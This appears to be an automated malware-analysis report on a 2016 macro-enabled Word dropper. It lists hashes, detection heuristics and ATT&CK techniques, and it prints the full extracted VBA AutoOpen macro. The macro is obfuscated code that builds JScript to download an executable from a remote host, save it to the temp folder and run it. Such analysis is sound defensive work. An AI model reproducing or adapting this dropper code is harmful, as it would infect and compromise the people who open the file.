Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 0ea4e21dcf15fd76…

MALICIOUS

Office (OOXML)

25.6 KB Created: 2016-08-31 19:10:00 UTC Authoring application: Microsoft Office Word 15.0000 First seen: 2016-09-21
MD5: 46e5b024f1adcfeee042ed584219ec01 SHA-1: bc3654faadc2b3db16651c5458415a583ae2b4a0 SHA-256: 0ea4e21dcf15fd76e0b6d0f30faf58bcce09150971f2288918432e4b26bec977
172 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is an OOXML document containing VBA macros, specifically an AutoOpen macro that utilizes CreateObject to execute code. ClamAV identifies this as a dropper. The VBA script, though truncated, indicates an attempt to download and execute a second-stage payload, which is a common technique for malware distribution.

Heuristics 7

  • ClamAV: Doc.Dropper.Agent-1667125 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-1667125
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set oScript = CreateObject(ocwat1 & gbohi2 & iqywsyh9 & wdite & cgyzmycyz & ypyh9 & xgozsajzi & loqtu & ppunus3 & akbahpucq3)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 6685 bytes
SHA-256: 3c91b2145d6ebe8e357d255edb8b5a944dfa2933efc608f7fbfdcbab14ff6257
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
Dim utkuzash, aqyfduv, usfetka, regexhadha, pvezxokaz5, iquwuxt2, bfiqibrube, lgobqasgu9, madbann, jijhoje, epqagog, zifjybv6, falyh
Dim jyxeviqx4
Dim lopase2
Dim izerlaztocf, oxsivoba0, dhigwocedwi6, adaskegi3, xexvajzy, pjeklozj, irwemcy2, rsaguco, oxrajrizotg, bajnew, gzypweffog, hxixmoxm0
Dim bamubs, lxicteky, ibdumxi, kepizt, ldebebu, izukboz, afoqmuxk, otoc, jifomyco0, yczeldo3
Dim jipogzoxn0
Dim mmaxomi, oxsoxjy, kydifd8, ykizwajips, ktawaqukh, uqfatni8, serobjufi8, pagmyhzi5, unlyxulsy3, alsahxata, njukrejd, ocqemdagm, edutmumu1, mypymoqma, agfajqahy4, comlopj2
Dim opoqny, onatum9, anfufceza6, epabhyhej, ivehansed6, xehigagg, bifnirw, yvyxa, lhanaro5
Dim phifgixl0
Dim yxurizyd0, ugotyrgy2, rajtohlof9, xkejeme, egewguthod0, ribag5, oqudhobi, berwabliw, udzuga5, btyhfipcak2, izuhlogcaxm
Dim igywah, xurowgenwy2, ttovos, omojpytga3, ijqytna5, ojohty1, uquxbu, etnycpot3, yfperkatxefz9, gojumyfga, zutlowaby2, ufxawwys1, qyrupryt
Dim szycdoqjoh8
Dim gilxuzbu7, ajalizyc, lfahykuq, ocpozadxiv5, ygcuvpobydn, ellykefi5, yrycsu, ojtikiq8, boxtephuhs8, rzykofv4
Dim gibujrali, dinhajb5, yhqybi, dkecgynsu, ihcetaba5, ujiklol, udonsetty, xfigowit3, ubertuzk4, nrukew, yxduler4, ojepa2, gundam, gdekifm, qpabzaxtu6, cmysexif6, eduhemu
Dim fpedyl7, rycatu6, zistirmekke6, axtycocy, emekunicr1, isostavby, utyqtexc, wadjyncawy4, itmujyrc9, ihhyjizfy, ogjutby, ewziqnitmo5, zesyforh7, ldorqoxac, arqyjatu
Dim vhilsakwaje3
Dim iqywsyh9, ppunus3, locydo, ysnibf, loqtu, wdite, iwxizm, ebqoquj5, uqpizcace2, cgyzmycyz, gbohi2, cusekarn5, akbahpucq3, ypyh9
Dim ocwat1, xgozsajzi
Dim sowu7
njukrejd = ".Res"
emekunicr1 = "oft."
igywah = "h);s"
onatum9 = "w Ac"
omojpytga3 = "GET"""
ugotyrgy2 = ");as"
kydifd8 = "XMLH"
jyxeviqx4 = ");va"
bajnew = "(""Mi"
oxsoxjy = "ject"
unlyxulsy3 = ".Ope"
anfufceza6 = "abim"
izukboz = "cros"
ihcetaba5 = "eXOb"
dinhajb5 = " ""\\"
phifgixl0 = "stre"
bfiqibrube = "exe "
jifomyco0 = "n();"
bamubs = " + t"
zifjybv6 = "stre"
ygcuvpobydn = "shel"
gojumyfga = "ose("
xurowgenwy2 = "WScr"
axtycocy = "/c """
yczeldo3 = ".Str"
ldebebu = "ctiv"
uquxbu = "m.Cl"
ribag5 = "mdru"
ivehansed6 = "m.Sa"
madbann = "= 1;"
xkejeme = "o.Ge"
falyh = "//si"
lgobqasgu9 = "l = "
dkecgynsu = "mp_p"
ihhyjizfy = "ath;"
qyrupryt = "t ("""
lfahykuq = "eam"""
jipogzoxn0 = "(""Sc"
rzykofv4 = "eXOb"
ujiklol = "exe"""
yxduler4 = "am.T"
ajalizyc = "n, 0"
zistirmekke6 = """ + "
ubertuzk4 = "Shel"
yxurizyd0 = "ath "
vhilsakwaje3 = "msal"
szycdoqjoh8 = "= fs"
yhqybi = "rite"
gilxuzbu7 = "XObj"
yrycsu = ";ass"
alsahxata = "ew A"
lhanaro5 = "r st"
ttovos = "tSpe"
oxsivoba0 = "er( "
uqfatni8 = "ript"
mmaxomi = "osit"
xehigagg = "mp_p"
iquwuxt2 = """);v"
pvezxokaz5 = "ion "
izuhlogcaxm = "_pat"
mypymoqma = "am.P"
yfperkatxefz9 = "ew A"
lopase2 = "l"");"
rsaguco = ");va"
kepizt = "ect "
egewguthod0 = "ar t"
udonsetty = "drun"
irwemcy2 = "ttp:"
aqyfduv = "new "
ojohty1 = "ream"
edutmumu1 = "Acti"
gdekifm = "tive"
epqagog = "ing."
agfajqahy4 = " ass"
gzypweffog = "ame("
arqyjatu = "ype "
berwabliw = " = n"
eduhemu = "= ne"
nrukew = ", 0)"
itmujyrc9 = ".onl"
pagmyhzi5 = "(tmp"
adaskegi3 = "trea"
regexhadha = "r cm"
fpedyl7 = "ipt."
zesyforh7 = "bjec"
gundam = "TTP"""
ldorqoxac = " var"
jijhoje = "am.W"
lxicteky = "veTo"
xexvajzy = "fso."
gibujrali = "ject"
ojtikiq8 = "trea"
isostavby = "ine/"
utkuzash = "ctiv"
serobjufi8 = "ll.r"
rycatu6 = "pons"
afoqmuxk = "(ass"
pjeklozj = ".sen"
btyhfipcak2 = "eBod"
ibdumxi = "en("""
ktawaqukh = "y);s"
usfetka = "fso "
wadjyncawy4 = "un(c"
ocpozadxiv5 = " (""A"
ijqytna5 = "File"
comlopj2 = "GetT"
qpabzaxtu6 = "d();"
xfigowit3 = "var "
cmysexif6 = " she"
ewziqnitmo5 = " = n"
yvyxa = "var "
oqudhobi = "cmd."
ogjutby = "); "
oxrajrizotg = "stre"
zutlowaby2 = "2) +"
opoqny = ");st"
ellykefi5 = " = """
boxtephuhs8 = "empN"
izerlaztocf = "856."
hxixmoxm0 = ", ""h"
ykizwajips = "ream"
ufxawwys1 = "veXO"
dhigwocedwi6 = "emOb"
ocqemdagm = "cial"
udzuga5 = "DODB"
rajtohlof9 = "Fold"
etnycpot3 = "Syst"
bifnirw = "= 0;"
ojepa2 = "s.op"
epabhyhej = "ject"
utyqtexc = "File"
ppunus3 = "ntr"
ebqoquj5 = "c"
gbohi2 = "cri"
iwxizm = "p"
ypyh9 = ".Sc"
cgyzmycyz = "rol"
cusekarn5 = "i"
ocwat1 = "MSS"
xgozsajzi = "rip"
akbahpucq3 = "ol"
sowu7 = "t"
loqtu = "tCo"
uqpizcace2 = "r"
iqywsyh9 = "ptC"
ysnibf = "J"
locydo = "S"
wdite = "ont"
otoc = yvyxa & ygcuvpobydn & lgobqasgu9 & aqyfduv & edutmumu1 & ufxawwys1 & zesyforh7 & qyrupryt & xurowgenwy2 & fpedyl7
otoc = otoc & ubertuzk4 & lopase2 & xfigowit3 & usfetka & eduhemu & onatum9 & gdekifm & gilxuzbu7 & kepizt & jipogzoxn0
otoc = otoc & uqfatni8 & epqagog & utyqtexc & etnycpot3 & dhigwocedwi6 & oxsoxjy & iquwuxt2 & egewguthod0 & dkecgynsu & yxurizyd0
otoc = otoc & szycdoqjoh8 & xkejeme & ttovos & ocqemdagm & rajtohlof9 & oxsivoba0 & zutlowaby2 & dinhajb5 & zistirmekke6 & xexvajzy
otoc = otoc & comlopj2 & boxtephuhs8 & gzypweffog & jyxeviqx4 & lhanaro5 & ojohty1 & berwabliw & alsahxata & ldebebu & rzykofv4
otoc = otoc & epabhyhej & ocpozadxiv5 & udzuga5 & yczeldo3 & lfahykuq & opoqny & ykizwajips & unlyxulsy3 & jifomyco0 & phifgixl0
otoc = otoc & yxduler4 & arqyjatu & madbann & oxrajrizotg & mypymoqma & mmaxomi & pvezxokaz5 & bifnirw & ldorqoxac & agfajqahy4
otoc = otoc & ewziqnitmo5 & yfperkatxefz9 & utkuzash & ihcetaba5 & gibujrali & bajnew & izukboz & emekunicr1 & kydifd8 & gundam
otoc = otoc & ugotyrgy2 & ojepa2 & ibdumxi & omojpytga3 & hxixmoxm0 & irwemcy2 & falyh & vhilsakwaje3 & anfufceza6 & itmujyrc9
otoc = otoc & isostavby & izerlaztocf & ujiklol & nrukew & yrycsu & pjeklozj & qpabzaxtu6 & zifjybv6 & jijhoje & yhqybi
otoc = otoc & afoqmuxk & njukrejd & rycatu6 & btyhfipcak2 & ktawaqukh & ojtikiq8 & ivehansed6 & lxicteky & ijqytna5 & pagmyhzi5
otoc = otoc & izuhlogcaxm & igywah & adaskegi3 & uquxbu & gojumyfga & rsaguco & regexhadha & udonsetty & ellykefi5 & oqudhobi
otoc = otoc & bfiqibrube & axtycocy & bamubs & xehigagg & ihhyjizfy & cmysexif6 & serobjufi8 & wadjyncawy4 & ribag5 & ajalizyc
otoc = otoc & ogjutby
Set oScript = CreateObject(ocwat1 & gbohi2 & iqywsyh9 & wdite & cgyzmycyz & ypyh9 & xgozsajzi & loqtu & ppunus3 & akbahpucq3)
oScript.Language = ysnibf & locydo & ebqoquj5 & uqpizcace2 & cusekarn5 & iwxizm & sowu7
oScript.Eval (otoc)


End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 25088 bytes
SHA-256: 71f8562e5bcca6b18c11d759e233549028bd78765692a3088f793e022ff7d376
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).